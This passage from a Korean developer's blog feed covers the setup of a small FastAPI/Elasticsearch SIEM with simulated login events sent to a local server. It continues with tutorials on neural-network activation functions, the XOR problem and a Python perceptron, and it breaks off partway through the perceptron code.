• Elasticsearch와 네이티브 호환

대안:

• Logstash: 너무 무거움 (Java 기반, 메모리 많이 사용)
• Fluentd: 설정 복잡

4. 시각화: Kibana 8.15

선택 이유:

✅ 강력한 시각화

• 드래그 앤 드롭 대시보드
• 50+ 차트 타입

✅ 무료

• 오픈소스 (Elastic License)

대안:

• Grafana: 좋지만 Elasticsearch 연동 복잡
• Tableau: 비쌈

5. 알림: Slack Webhook

선택 이유:

✅ 간편함

• Webhook URL 하나면 끝
• 별도 인증 불필요

✅ 실시간

• 위협 탐지 즉시 알림

30분만에 시작해보기

1. 사전 요구사항

# 필수
✅ Docker 20.10 이상
✅ Docker Compose 1.29 이상

# 선택 (로컬 개발 시)
⭕ Python 3.10 이상
⭕ Git

2. 프로젝트 클론

git clone https://github.com/YOUR_USERNAME/mini-siem-log-monitoring.git
cd mini-siem-log-monitoring

3. 환경 설정

# .env 파일 생성
cp .env.example .env

# .env 파일 편집
nano .env

.env 파일 내용:

# Elasticsearch 비밀번호
ELASTIC_PASSWORD=changeme123!

# Slack Webhook URL (https://api.slack.com/messaging/webhooks)
SLACK_WEBHOOK_URL=https://hooks.slack.com/services/YOUR/WEBHOOK/URL

# API 키 (원하는 문자열)
API_KEY=my-secret-api-key-2024

참고: Slack Webhook URL 생성 방법은 공식 문서 참조

4. 시스템 시작

# 모든 서비스 시작 (최초 실행 시 5-10분 소요)
docker-compose up -d

# 로그 확인
docker-compose logs -f fastapi_app

성공 메시지:

fastapi_app  | INFO:     Started server process [1]
fastapi_app  | INFO:     Waiting for application startup.
fastapi_app  | 🚀 Mini-SIEM Application Started
fastapi_app  | 🔐 API authentication enabled
fastapi_app  | INFO:     Application startup complete.
fastapi_app  | INFO:     Uvicorn running on http://0.0.0.0:8000

5. 동작 확인

1) API 서버 확인

curl http://localhost:8000/

# 응답:
{
  "message": "Mini-SIEM FastAPI Server is running.",
  "version": "2.0.0",
  "status": "healthy",
  "timestamp": "2025-11-11T10:30:00.123Z"
}

2) Swagger API 문서 접속

브라우저에서 http://localhost:8000/docs 접속

3) Kibana 대시보드 접속

브라우저에서 http://localhost:5601 접속

6. 첫 로그 전송해보기

정상 로그인 이벤트:

curl -X POST http://localhost:8000/log \
  -H "Content-Type: application/json" \
  -H "X-API-Key: my-secret-api-key-2024" \
  -d '{
    "event_type": "login_success",
    "source_ip": "192.168.1.10",
    "username": "john.doe",
    "count": 1,
    "description": "Successful login from office"
  }'

응답:

{
  "status": "ok",
  "log": {
    "timestamp": "2025-11-11T10:30:00.123Z",
    "event_type": "login_success",
    "severity": "info",
    "source_ip": "192.168.1.10",
    "username": "john.doe",
    "is_threat": false
  },
  "alert_sent": false
}

Brute Force 공격 시뮬레이션:

curl -X POST http://localhost:8000/log \
  -H "Content-Type: application/json" \
  -H "X-API-Key: my-secret-api-key-2024" \
  -d '{
    "event_type": "login_failed",
    "source_ip": "192.168.1.100",
    "username": "admin",
    "count": 8,
    "description": "Multiple failed login attempts"
  }'

응답:

{
  "status": "threat_detected",
  "log": {
    "timestamp": "2025-11-11T10:31:00.456Z",
    "event_type": "login_failed",
    "severity": "medium",
    "source_ip": "192.168.1.100",
    "is_threat": true,
    "threat_details": "Brute force attack detected: 8 failed login attempts from 192.168.1.100"
  },
  "incident_id": "INC-20251111-0001",
  "alert_sent": true
}

동시에 Slack으로 알림 전송됩니다!

🚨 [MEDIUM] Security Threat Detected
• Type: login_failed
• Source IP: 192.168.1.100
• Details: Brute force attack detected: 8 failed login attempts
• Incident ID: INC-20251111-0001

7. 대시보드 확인

curl http://localhost:8000/dashboard

응답:

{
  "total_events": 2,
  "total_threats": 1,
  "critical_incidents": 0,
  "high_incidents": 0,
  "medium_incidents": 1,
  "low_incidents": 0,
  "active_incidents": 1,
  "resolved_incidents": 0,
  "top_attack_ips": ["192.168.1.100"],
  "top_event_types": {
    "login_success": 1,
    "login_failed": 1
  },
  "timestamp": "2025-11-11T10:32:00.789Z"
}

주요 기능 미리보기

1. 위협 탐지 룰 (7가지)

2. 인시던트 관리

탐지됨 (detected)
    ↓
분석 중 (analyzing)
    ↓
처리 중 (in_progress)
    ↓
해결됨 (resolved) / 오탐 (false_positive)

3. 실시간 리포트

• 일일 보안 리포트
• 주간 보안 리포트
• 위협 타임라인
• 상위 공격 IP 목록

다음 단계

시리즈 예고

이 프로젝트는 5편의 시리즈로 연재됩니다:

1. [현재] Python으로 나만의 SIEM 만들기 - 시작편
2. [다음편] MITRE ATT&CK 기반 위협 탐지 룰 구현하기
   • Brute Force 탐지 알고리즘
   • SQL Injection 정규식 설계
   • 임계값 설정의 과학
3. FastAPI로 실시간 보안 이벤트 처리하기
4. Elasticsearch로 대용량 로그 저장하고 검색하기
5. 보안 설계 원칙을 코드로 구현하기

추가 학습 자료

• MITRE ATT&CK Framework
• OWASP Top 10
• FastAPI 공식 문서
• Elasticsearch Guide

마치며

"상용 SIEM이 없어서 보안을 못 하겠다"는 더 이상 변명이 아닙니다.

오픈소스와 약간의 코딩 실력만 있으면 누구나 실무 수준의 SIEM을 구축할 수 있습니다.

이 프로젝트를 통해:

• ✅ SIEM의 내부 동작 원리를 이해했습니다
• ✅ 실제 공격 패턴을 탐지하는 방법을 배웠습니다
• ✅ 보안 관제 및 보안 서비스 개발 직무 역량을 입증할 포트폴리오를 만들었습니다

다음 편에서는 MITRE ATT&CK 프레임워크 기반 위협 탐지 룰을 상세히 다룹니다.

• Brute Force 공격을 왜 5회로 설정했는가?
• SQL Injection 정규식은 어떻게 설계했는가?
• 오탐(False Positive)을 줄이는 방법은?

궁금하신 점이나 피드백은 댓글로 남겨주세요!

프로젝트 정보

• GitHub: mini-siem-log-monitoring
• 라이선스: MIT
• 버전: 2.0.0
• 작성자: Jesper (보안 관제 직무 준비생)

💡 도움이 되셨다면 GitHub Star와 좋아요 부탁드립니다! 💬 질문이나 개선 아이디어가 있다면 댓글 또는 이슈로 남겨주세요!

이번 포스팅에서는 ReLU 함수의 한계인 Dying ReLU를 해결하기 위한 대안 활성 함수에 대해 알아보고자 한다.

Dying ReLU 해결을 위한 대안 활성 함수

Dying ReLU 문제는 입력값이 음수인 경후 기울기가 0이 되어 가중치 업데이트가 되지 않아 더 이상 뉴런이 학습하지 못하는 현상을 말한다. (Dead Neurons 라고도 함)

ReLU 함수의 이러한 단점을 보완하고자 나온 것이 Leaky ReLU, PReLU(Parametric ReLU), ELU(Exponential Linear ReLU)이다.

Leaky ReLU

Leaky ReLU는 ReLU 함수의 고질적인 문제인 Dying ReLU 현상을 극복하기 위해 고안되었다. 음수 입력에서도 아주 작은 값($\alpha x$)를 출력하도록 설계하여 뉴런이 완전히 죽는 것을 방지한다.

수식으로 표현하면 아래와 같다.

$\alpha = 0.01$, $$f(x) = \begin{cases} x \quad\quad\quad ;if;x>0\ 0.01 x\quad;if;x\leq0\end{cases} $$

여기서 $\alpha$는 일반적으로 0.01과 같은 작은 값으로 설정한다.

쉽게 말해, ReLU는 음수일 때 출력이 무조건 0이라 기울기를 학습을 하지 못해 뉴런이 죽었지만, Leaky ReLU는 음수일 때도 약간의 출력을 내어 뉴런이 완전히 죽지 않도록 한다.

장점

• 뉴런이 음수 값에 고착되지 않아 학습이 계속 진행된다.

단점

• 고정된 기울기 $\alpha$ 값이 최적화가 어렵고, 음수 구간에서의 정보가 부족할 수 있다.
  

RReLU(Parametric ReLU)

**PReLU는 Leaky ReLU를 더 발전시킨 형태로, $\alpha$를 고정하지 않고 학습 가능한 파라미터로 둔 함수이다.

$$f(x) = \begin{cases} x \quad;;\ ;if;x>0\ \alpha x \quad;if;x\leq0\end{cases} $$

여기서 $\alpha$는 학습 중에 자동으로 최적화 된다.

쉽게 말해, Leaky ReLU는 음수에서의 기울기를 고정하지만, PReLU는 데이터와 모델에 맞춰 $\alpha$를 스스로 조정한다.

장점

• 더 유연한게 Dying ReLU 문제를 해결할 수 있으며, 데이터에 적합한 값을 자동으로 찾는다.

단점

• $\alpha$ 값을 학습하면서 추가적인 계산 비용이 발생하고, 과적합 위험이 존재한다.
• 양수 기울기가 지나치게 커질 수 있다.
  

ELU(Exponential Linear Unit)

ELU는 음수 영역에서 지수 함수 형태로 출력을 만들어내는 함수이다.

$$f(x) = \begin{cases} x \quad\quad\quad\quad;; ;if;x>0\ \alpha (e^x-1) \quad;if;x\leq0\end{cases} $$

여기서 $\alpha > 0$는 음수 영역의 출력을 조정하는 하이퍼파라미터이다.

쉽게 말해, 입력값이 아무리 커져도 $\alpha$ 값에 의해 일정한 음수값에 수렴하며 입력값이 음수일 때도 기울기가 Exponential로 부드럽게 감소하여 노이즈에 덜 민감하다. 즉, 입력값이 음수여도 출력이 완전히 0이 되지 않고, 부드럽게 감소하며 학습이 안정적이다.

장점

• 기울기 소실 문제(Vanishing Gradient Problem)와 Dying ReLU 문제를 동시에 해결한다.
• 출력 값이 0에 가까워져, 학습 안정성이 높다.

단점

• 계산량이 증가하고 큰 양수 입력에서 기울기 발산의 위험이 있다.
• $\alpha$ 값 설정이 복잡하다.

출력 값이 0에 가까워지면 왜 학습 안정성이 높아지는가 출력 값이 0에 가까워질수록 학습 안정성이 높아지는 이유는 주로 기울기 계산과 가중치 업데이트의 균형과 관련 있다.

출력 값이 너무 크면 학습 시 기울기가 커지고, 이로 인해 가중치 업데이트 폭이 과도해질 수 있다. 이는 발산 문제를 일으켜 모델이 제대로 학습하지 못하게 만든다.

반대로 출력 값이 너무 작으면 기울기가 너무 작아져 가중치 업데이트가 거의 이루어지지 않게 되며 결국 기울기 소실 문제를 초래한다.

출력 값이 0에 가깝다는 것은 기울기를 너무 커지지도 작아지지도 않게 안정적인 상태를 제공한다는 것이다. 앞서 말한 발산과 기울기 소실의 문제를 방지한다. 또한, 출력이 0에 가까울수록 입력 데이터가 중심화되어 있다 볼 수 있다. 이는 학습 과정에서 더 빠르고 효율적으로 작용한다.

따라서, 결과적으로 모델 학습이 안정적이고 효율적으로 이루어지게 된다.

이번 포스팅에서는 Dying ReLU 문제를 해결하기 위한 활성 함수들인 Leaky ReLU, PReLU, ELU에 대해 알아보았다. 각 활성 함수들은 학습을 안정적으로 만들어주지만, 여전히 최적의 학습을 위해 필요한 효율적인 가중치 업데이트와 기울기 계산이 중요하다.

그렇다면, 효율적인 가중치 업데이트와 기울기 계산은 어떻게 이루어지게 되는 걸까? 이를 가능하게 하는 핵심 알고리즘이 바로 역전파(Backpropagation)와 경사하강법(Gradient Descent)이다.

다음 포스팅에서는 역전파와 경사하강법의 원리와 그 과정에 대해 알보고자 한다.

이번 포스팅에서는 Sigmoid 함수의 한계를 보완하기 위해 나온 $$Tanh$$(Hyperbolic Tangent)와 ReLU(Rectified Linear Unit) 함수에 대해 알아보고자 한다.

Hyperbolic Tangent($$Tanh$$) Function

$$Tanh$$ 함수의 중앙값은 0으로 $$Sigmoid$$ 함수와 다르게 -1과 1 사이의 출력값을 반환한다. 즉, 기울기가 양수, 음수 둘다 나올 수 있어 $$Sigmoid$$ 함수에 비해 학습이 효율적이다. 또한, $$Sigmoid$$ 함수에 비해 출력값의 범위가 넓어 기울기 소실의 문제가 덜하나 완전히 해결되진 못했다.

$$f(x) = {e^x - e^{-x}\over e^x + e^{-x}} $$

ReLU(Rectified Linear Unit) Function과 기울기 소실 문제(Vanishing Gradient Problem) 해결

ReLU(Rectified Linear Unit) Function

ReLU(Rectified Linear Unit) 함수는 0보다 큰 값, 즉 입력값이 양수일때, 출력은 자기 자신을 그대로 출력하며, 기울기는 항상 1로 유지된다.

이러한 특성으로 기울기 소실 문제(Vanishing Gradient Problem)가 해결이 됐으며 가중치 업데이트가 이루어지게 되는 것이다.

ReLU 함수의 정의와 미분 $$f(x) = max(0, x), \quad f'(x) = \begin{cases} 1\quad;if;x>0,\ 0\quad;if;x\leq0 \end{cases}$$

$$Sigmoid$$와 $$Tanh$$ 함수에서 일어나는 기울기 소실 문제를 ReLU 함수는 어떻게 해결했는지 알아보도록 하자.

기울기 소실 문제(Vanishing Gradient Problem) 해결

기울기 소실의 원인

기울기 소실 문제는 주로 Sigmoid 또는 Tanh 함수와 같은 활성 함수에서 발생한다. 이 함수들은 출력값이 특정 구간에서 매우 좁은 범위에 수렴하며, 다음과 같은 특성을 가진다.

(1) $$Sigmoid$$ 함수

$$f(x) = {1 \over 1+e^{-x}},\quad f'(x) = f(x) \cdot (1 - f(x)) $$

• $$f'(x)$$의 최대값은 0.25이며, 입력값이 극단적으로 크거나 작을 때 $$f'(x) \to 0$$

• 학습 과정에서 기울기가 계속 곱해지면서 $$f'(x)$$가 0에 가까워지고, 은닉층이 많은, 즉 깊은 신경망에서는 최종적으로 초기 레이어의 가중치가 거의 업데이트 되지 않음.

(2) $$Tanh$$ 함수

$$f(x) = {e^x - e^{-x} \over e^x + e^{-x}}, \quad f'(x) = 1 - f(x)^2 $$

• $$f'(x)$$는 $$f(x) \approx ; \pm ; 1$$ 일 때 0에 가까워짐.

• $$Sigmoid$$ 함수와 동일하게 기울기가 소실될 수 있음.

  
  

기울기 전파 과정

신경망에서 학습 과정은 기울기를 전달하는 과정이다. 역전파라고 한다. 특정 레이어 $$l$$에서의 기울기 $\delta^{(l)}$는 아래와 같이 계산된다.

$$\delta^{(l)} = \delta^{(l+1)} \cdot W^{(l+1)} \cdot f'(x^{(l)}) $$

• $$\delta^{(l+1)}$$: 다음 레이어에서 전달된 기울기

• $$W^{(l+1)}$$: 현재 레이어의 가중치 행렬
• $$f'(x^{(l)})$$: 활성 함수 ReLU의 미분값. 즉, 기울기이다.

$Sigmoid$ 함수와 ReLU 함수의 기울기 소실 비교

(1) $Sigmoid$ 함수의 경우

$Sigmoid$ 함수의 미분:

$$f'(x) = f(x)(1 - f(x)) $$ $Sigmoid$ 함수는 출력값이 0 ~ 1 범위에 있기 때문에 $f'(x)$는 항상 0 ~ 0.25 사이에 존재한다. 이를 기울기 전파 과정 수시겡 적용하면: $$\delta^{(l)} = \delta^{(l+1)} \cdot W^{(l+1)} \cdot f'(x^{(l)} $$

• $f'(x^{(l)}) ≪ 1$ (작은 값)이므로, 많은 레이어를 거치며 기울기가 점점 작아져 결국 0에 가까워진다.
  

(2) ReLU 함수의 경우

ReLU 함수의 미분은 다음과 같다.

$$f'(x) = \begin{cases} 1\quad;if;x>0,\ 0\quad;if;x\leq0 \end{cases}$$

• $x > 0$인 경우, $f'(x) = 1$이므로 기울기가 전혀 줄어들지 않는다.

$$\delta^{(l)} = \delta^{(l+1)} \cdot W^{(l+1)} \cdot 1 = \delta^{(l+1)} \cdot W^{(l+1)} $$

• 음수 구간에서는 $f'(x) = 0$이므로 해당 뉴런은 기울기를 전달하지 않는다. 그러나 양수 구간에서는 문제가 없으므로 전체적으로 기울기 소실 문제가 발생하지 않게 된다.

$L$층 신경망에서의 기울기 전파

전체 기울기를 한 번에 계산해 보면, $L$개의 레이어를 가진 신경망에서:

$${\partial L \over \partial W^{(1)} }= {\displaystyle\prod_{l=1}^Lf'(x^{(l)})\cdot W^{(l)}} $$

(1) $Sigmoid$ 함수의 경우

$$f'(x^{(l)}) \in (0, 0.25] $$

작은 값이 $L$번 곱해지면: $$\displaystyle\prod_{l=1}^Lf'(x^{(l)}) \to 0 $$ 즉, 기울기가 소실된다.

(2) ReLU의 경우 ReLU는 양수 구간에서 $f'(x^{(l)}) = 1이므로

$$\displaystyle\prod_{l=1}^Lf'(x^{(l)}) = 1 $$ 따라서 기울기가 전혀 줄어들지 않고 유지된다.

정리하자면,

• $Sigmoid$: $f'(x)$가 항상 0 ~ 0.25 범위라, 기울기가 $L$층을 거치며 작아지고 기울기 소실이 발생한다.
• ReLU: $f'(x) = 1$(양수 구간)이라, 기울기가 줄어들지 않고 기울기 소실을 방지.

ReLU는 단순한 구조 덕에 기울기 소실 문제를 해결하고, 깊은 신경망에서도 잘 작동하며 $Sigmoid$와 $Tanh$ 함수보다 빠르고 효율적으로 학습을 할 수 있다.

그러나, 이런 ReLU도 문제점이 존재한다.

바로, Dying ReLU(Dead ReLU)혹은 Dead Neurons이라 불리는 문제가 존재한다.

Dying ReLU 문제

ReLU 함수는 음수가 입력으로 들어오면 0으로 출력하게 된다.

ReLU 함수의 정의와 미분 $$f(x) = max(0, x), \quad f'(x) = \begin{cases} 1\quad;if;x>0,\ 0\quad;if;x\leq0 \end{cases} $$

• 입력이 $x > 0$이면 그대로 $x$

• 입력이 $x \leq 0$이면 기울기 0

• 문제는 학습 중에 어떤 뉴런이 계속 음수 값만 입력 받는다면, 해당 뉴런의 출력이 계속 0이 되고, 뉴런이 더 이상 학습하지 못하는 상태가 된다.

이러한 현상을 Dying ReLU라고 한다.

이번 포스팅에서는 $Sigmoid$ 함수의 한계를 극복하기 위해 나온 $Tanh$ 함수와 ReLU 함수 그리고 그 한계점에 대해 알아보았다.

다음 포스팅에서는 ReLU 함수의 한계인 Dying ReLU 현상을 극복하기 위해 제안된 Leaky ReLU, PReLU(Parametric ReLU), ELU(Exponential Linear Unit)에 대해 알아보고자 한다.

예를 들어, 두 개의 입력 값이 있을 때 다음과 같은 XOR 데이터셋을 생각해 보자.

$$X_1$$	$$X_2$$	$$Y$$
0	0	0
0	1	1
1	0	1
1	1	0

단층 퍼셉트론은 직선 하나로 위 데이터를 나눌 수 없기 때문에 이 문제를 해결할 수 없다. 이를 극복하기 위해 제안된 것이 다층 퍼셉트론(Multi-Layer Perceptron, MLP)이다.

다층 퍼셉트론은 은닉 계층(Hidden Layer)을 두어 데이터를 여러 번 변환하고, 선형적으로 분리되지 않는 문제를 해결할 수 있도록 고안되었다.

입력층과 출력층 사이에 여러개의 은닉층이 있는 인공신경망을 심층 신경망(Deep Neural Network)이라 하며, 딥러닝(Deep Learning)에서 중요한 개념이다.

따라서, 딥러닝을 이해하기 위해서는 심층 신경망에 대한 이해가 필요하며 심층 신경망의 기본 모델인 다층 퍼셉트론에 대해 잘 이해하는 것이 중요하다 할 수 있겠다.

다층 퍼셉트론(Multi-Layer Perceptron, MLP)의 정의

다층 퍼셉트론은 입력 계층(Input Layer), 하나 이상의 은닉 계층(Hidden Layer), 그리고 출력 계층(Output Layer)로 구성된 신경망으로 단층 퍼셉트론을 여러개 연결한 것과 같다.

단층 퍼셉트론에서는 하나의 활성 함수를 사용하는 반면, 비선형 문제를 해결하기 위해 나온 다중 퍼셉트론에서는 하나 이상의 활성 함수를 사용하게 된다.

다층 퍼셉트론의 구조

구성 요소

• 입력 계층(Input Layer): 데이터의 특징(feature)을 받아들이는 역할.

• 은닉 계층(Hidden Layer): 데이터의 특징을 변환하여 문제를 해결하는 데 필요한 복잡한 패턴을 학습한다. 은닉 계층의 수가 많을수록 더 복잡한 문제를 해결할 수 있다.

• 출력 계층(Output Layer): 최종 결과 출력.

  • 분류 문제: 클래스에 대한 확률값.
  • 회귀 문제: 연속적인 값.

데이터 흐름

1. 입력 계층으로부터 데이터가 전달된다.
2. 각 은닉 계층에서 가중치와 활성 함수를 적용하여 데이터를 변환한다.
3. 출력 계층에서 최종 결과를 계산한다.
   

다층 퍼셉트론의 XOR 문제해결

다층 퍼셉트론은 은닉 계층에서 입력 데이터를 비선형적으로 변환한다. 예를 들어, 첫 번째 은닉층에서 입력 데이터를 두 그룹으로 나누는 새로운 특징을 학습한다. 두 번째 은닉층에서 이 특징들을 조합하여 XOR 문제를 해결할 수 있는 형태로 변환한다. 결과적으로 XOR 문제의 데이터가 두 은닉층을 통과하면 선형적으로 분리 가능한 상태가 된다.

자세한 설명을 위해 NAND와 OR 게이트를 사용해 설명하겠다.

NAND와 OR 게이트를 활용한 XOR 문제해결

1. NAND 게이트

• NAND(Not AND) 게이트는 다음과 같은 동작을 수행한다.
  • 입력값이 모두 1일 때만 0, 나머지는 1을 출력.
  • NAND 게이트는 XOR 문제에서 비선형성을 도입하는 역할을 한다.

$$X_1$$	$$X_2$$	$$Y$$
0	0	1
0	1	1
1	0	1
1	1	0

2. OR 게이트

• OR 게이트는 다음과 같은 동작을 수행한다.
  • 입력값 중 하나라도 1이면 1을 출력.

$$X_1$$	$$X_2$$	$$Y$$
0	0	0
0	1	1
1	0	1
1	1	1

3. 다층 퍼셉트론의 XOR 문제해결 과정

XOR 게이트는 다음과 같이 NAND와 OR 게이트를 결합하여 구현이 되며, 이를 통해 다층 퍼셉트론은 XOR 문제를 해결한다.

1. 먼저 NAND 게이트로 중간 결과($$Z_1$$)를 계산한다.
2. OR 게이트를 사용해 두 입력값 중 하나라도 1인 경우를 계산($$Z_2$$)한다.
3. 마지막으로 두 결과($$Z_1$$, $$Z_2$$)를 AND로 계산하여 출력값($$Y$$)을 도출한다.

$$X_1$$(입력값_1)	$$X_2$$(입력값_2)	$$Z_1$$(NAND)	$$Z_2$$(OR)	$$Y$$(출력값_XOR)
0	0	1	0	0
0	1	1	1	1
1	0	1	1	1
1	1	0	1	0

이처럼 다층 퍼셉트론은 은닉층을 통해 비선형식을 처리하며, XOR과 같은 문제를 효과적으로 해결한다. 추가적으로, 이러한 구조는 활성 함수와 학습 알고리즘이 적용되면서 더욱 정교한 문제를 해결할 수 있다.

활성 함수(Activation Function)

활성 함수는 선형 결합 값을 출력값으로 변환하는 함수로, 각 뉴런이 활성화될지를 결정하고 신경망에 비선형성을 추가하는 역할을 한다.

단층 퍼셉트론의 계단 함수 한계

단층 퍼셉트론에서 사용되는 계단 함수는 아래와 같은 형태이다.

• 입력값이 임계값을 넘으면 1, 그렇지 않으면 0.

$$y'=\begin{cases} 1\quad if,z\gt0.5\ 0\quad if,z\lt0.5 \end{cases}$$

한계

1. 비선형 문제 해결 불가:

• 계단 함수는 선형적으로 데이터를 분리하는 데만 사용할 수 있다. 따라서 XOR 문제처럼 비선형 데이터를 다룰 수 없다.
• 뉴런들이 단순히 '켜짐'과 '꺼짐' 상태로만 작동하므로 복잡한 패턴을 학습할 수 없다.

2. 미분 불가능:

• 계단 함수는 출력 값이 불연속적이기 때문에 미분값이 정의되지 않는다.
• 딥러닝에서 사용하는 경사하강법과 같은 최적화 알고리즘에 활용할 수 없다.

3. 출력의 변화가 입력 변화에 민감하지 않음:

• 출력이 단순히 0 또는 1로 제한되므로, 입력값의 작은 변화가 모델에 반영되지 않는다.
• 따라서, 계단 함수는 미세한 차이를 반영하지 못해 퍼셉트론이 효율적으로 학습하기 어렵게 만든다. 즉, 확률값을 반영하지 못해 학습이 어렵다는 말이다.
  

다층 퍼셉트론의 활성 함수

다층 퍼셉트론은 계단 함수 대신 비선형 활성 함수를 사용한다. 이를 통해 퍼셉트론은 비선형 문제(XOR 등)를 학습하고, 복잡한 패턴의 문제를 해결할 수 있다.

1. Sigmoid 함수 Sigmoid 함수는 S자 곡선을 가지며 입력값을 0과 1 사이로 압축한다.

$$f(x) = {1\over 1 + e^{-x}}$$

• 출력 범위: (0, 1)
• 작은 변화에도 민감하게 반응하여 연속적인 출력을 제공한다.
• 뉴런이 활성화될 확률을 모델링하는 데 자주 사용한다.

장점

• 비선형성을 도입해 계층 간 복잡한 관계를 학습 가능.
• 출력값을 확률로 해석할 수 있어 로지스틱 회귀와 같은 문제에 유리.

단점

• 기울기 소실(Vanishing Gradient) 문제:

  딥러닝에는 역전파라는 방식으로 오차를 줄이기 위해 가중치를 조금씩 조정한다. 이 과정에서 중요한건 기울기(미분값)인데, 기울기는 '얼마나 가중치를 바꿔야 할지 알려주는 힌트'라 생각하면 된다.

  $$f(x) = {1\over 1 + e^{-x}}$$ 위 Sigmoid수식에서 함수의 그래프는 $$x$$의 값에 따라 출력값 $$f(x)$$가 (0, 1) 사이로 제한된다.

  이때, Sigmoid 함수의 입력값이 너무 크거나 작으면 기울기가 거의 0이 된다.

  Sigmoid 함수의 미분 Sigmoid 함수의 미분값은 다음과 같다. $$f'(x) = f(x)\cdot (1-f(x)) $$

  • 출력 $$f(x)$$가 0 또는 1에 가까워질수록 $$f'(x)$$의 값은 점점 0에 가까워진다.
  • 예를 들어,
  • $$x = 10: f(10) \approx 1, f'(10) \approx 0$$
  • $$x = -10: f(-10) \approx 0, f'(-10) \approx 0$$

  결국, 층이 많아질수록 작은 값들이 계속 곱해지면서 기울기가 0으로 수렴하게 된다.

  위와 같이 기울기가 0에 수렴하게 되면 아래와 같은 문제가 발생한다.

  가중치를 업데이트할 수 없게 된다.

  • 가중치 업데이트 식:

    1. 가중치 변화량 계산: $$\Delta w = {-\eta\cdot {\partial L \over \partial w}} $$
    2. 새로운 가중치 계산: $$w_{new} = w_{old} + \Delta w $$

    or > >$$w_{new} = w_{old} - \eta \cdot {\partial L \over \partial w} >$$ >- $$\Delta w$$: 가중치의 변화량 >- $$w_{new}$$: 새로 업데이트된 가중치 >- $$w_{old}$$: 이전 가중치 >- $$\eta$$: 학습률 >- $$\partial L \over \partial w$$: 손실 함수 $$L$$를 가중치 $$w$$에 대해 미분한 값(기울기)

기울기 소실이 발생하게 되면 $$\partial L \over \partial w$$(기울기)가 거의 0에 수렴하게 된다. 따라서, 기울기가 작아지면 $$\eta\cdot{\partial L \over \partial w}$$ 값도 작아진다. 결과적으로, $$\Delta w$$가 거의 없게 된다.($$w_{new} \approx w_{old}$$) 즉, 모델이 데이터를 보고 학습해야 할 정보를 거의 반영하지 못한다고 할 수 있다.

• 느린 수렴 문제: Sigmoid 함수의 출력은 항상 (0, 1) 범위에 있다. 즉, 입력값에 따라 출력값이 음수가 될 수 없고 항상 양수이다. 예를 들어, 입력이 $$x = 0$$이라면 출력은 정확히 0.5로, 중립적인 값조차 양수이다. 이러한 특성을 출력의 중심이 0이 아니다라고 표현한다.

  예시 Sigmoid 함수에서 입력값 $$x$$가 음수든 양수든 출력값은 $$0\leq f(x) \leq 1$$ 이다. 반면, $$Tanh$$ 함수의 출력은 (-1, 1) 범위로, 출력의 중심이 0이다.

$Sigmoid$ 함수의 출력이 항상 양수라는 점은 학습 과정에서 Gradient, 즉 기울기 계산에 영향을 미친다. 경사하강법을 사용할 때, 가중치 업데이트는 활성 함수의 출력값에 따라 이루어지는데, 출력 중심이 0이 아닌 Sigmoid 함수의 경우 기울기의 평균값이 0에서 벗어나 특정 방향으로 치우치게 된다. 이는 가중치 업데이트를 비효율적으로 만들어 학습 속도가 느려지는 느린 수렴 문제가 발생할 수 있다. 반면, $$Tanh$$ 함수는 출력의 중심이 0에 가까워 입력값이 음수와 양수일 때 기울기가 균형을 이루며, 더 빠르고 안정적인 학습을 돕는다. 이러한 특성 덕분에 $Tanh$ 함수는 $Sigmoid$ 함수의 대안으로 자주 사용된다.

하지만 $Tanh$ 함수 역시 기울기 소실 문제에서 완전히 자유롭지는 않다. 이를 해결하고자, 연구자들은 ReLU(Rectified Linear Unit), Leaky ReLU, ELU(Exponential Linear Unit) 등의 활성 함수를 개발해 다양한 문제를 극복하려 노력했다.

다음 포스팅에서는 $Tanh$ 함수 이후에 등장한 활성 함수들, 특히 ReLU 함수가 $Sigmoid$와 $Tanh$의 한계를 어떻게 극복했는지에 대해 자세히 살펴보도록 하겠다.

]]> https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9C%BC%EB%A1%9C-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0Perceptron-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0 https://velog.io/@jesper_ch/%EB%94%A5%EB%9F%AC%EB%8B%9D-%EB%94%A5%EB%9F%AC%EB%8B%9D-%EA%B8%B0%EC%B4%88-%ED%8C%8C%EC%9D%B4%EC%8D%AC%EC%9C%BC%EB%A1%9C-%ED%8D%BC%EC%85%89%ED%8A%B8%EB%A1%A0Perceptron-%EA%B5%AC%ED%98%84%ED%95%98%EA%B8%B0 Mon, 06 Jan 2025 11:18:49 GMT 지난번에 공부했던 퍼셉트론(Perceptron)을 파이썬으로 구현해보고자 한다.

우선, 퍼셉트론은 아래와 같은 구조로 이루어져 있다.

학습 데이터셋으로는 AND 게이트를 사용하였다.

위 사진은 AND 게이트를 나타낸 표와 회로 그림이다.

AND 게이트를 학습 데이터로, 퍼셉트론을 파이썬으로 구현하면 아래 코드와 같다.

전체 코드

> class Perceptron:
    # 초기값 설정
    def __init__(self, input_data_dim=2, eta=0.1, epoch=100): #input_data_dim = 데이터의 차원을 결정.
        self.weight = np.zeros(input_data_dim) #가중치를 입력된 데이터의 차원에 맞게 0으로 설정
        self.bias = 0                      # 편향
        self.eta = eta                     # 학습률
        self.epoch = epoch                 # 반복 횟수
>
    # 활성 함수(계단 함수) 구현
    def step_function(self, x, threshold=0):
        self.threshold = threshold                           # 임계값
        return 1 if x > self.threshold else 0
 >   
    # 예측값
    def predict(self, X):
        z = np.dot(X, self.weight) + self.bias
        y_predict = self.step_function(z)
        return y_predict
  >  
    def fit(self, X, y):
        for epoch in range(self.epoch):
            for i in range(len(X)):
                # 예측값 계산
                z = np.dot(X[i], self.weight) + self.bias
                y_predict = self.step_function(z)
>
                # 오차 계산
                error = y[i] - y_predict
>
                # 가중치, 편향 업데이트
                self.weight += self.eta * error * X[i]
                self.bias += self.eta * error
>
    # 최적의 가중치, 편향 출력
    def print_optimized_weight_bias(self):
        print(f'최적의 가중치: {self.weight}')
        print(f'최적의 편향: {self.bias}')
>
>
# AND 게이트 데이터 셋
X = np.array([[0, 0], [0, 1], [1, 0], [1, 1]]) # 입력 데이터
y = np.array([0, 0, 0, 1])                   # 출력 데이터(AND 게이트의 결과)
>
# 퍼셉트론 모델 생성 및 학습
perceptron = Perceptron()
perceptron.fit(X, y)
>
# 최적의 가중치, 편향 출력
perceptron.print_optimized_weight_bias()
>
# AND 게이트 결과 예측 및 출력
print('AND 게이트 결과: ')
for sample in X:
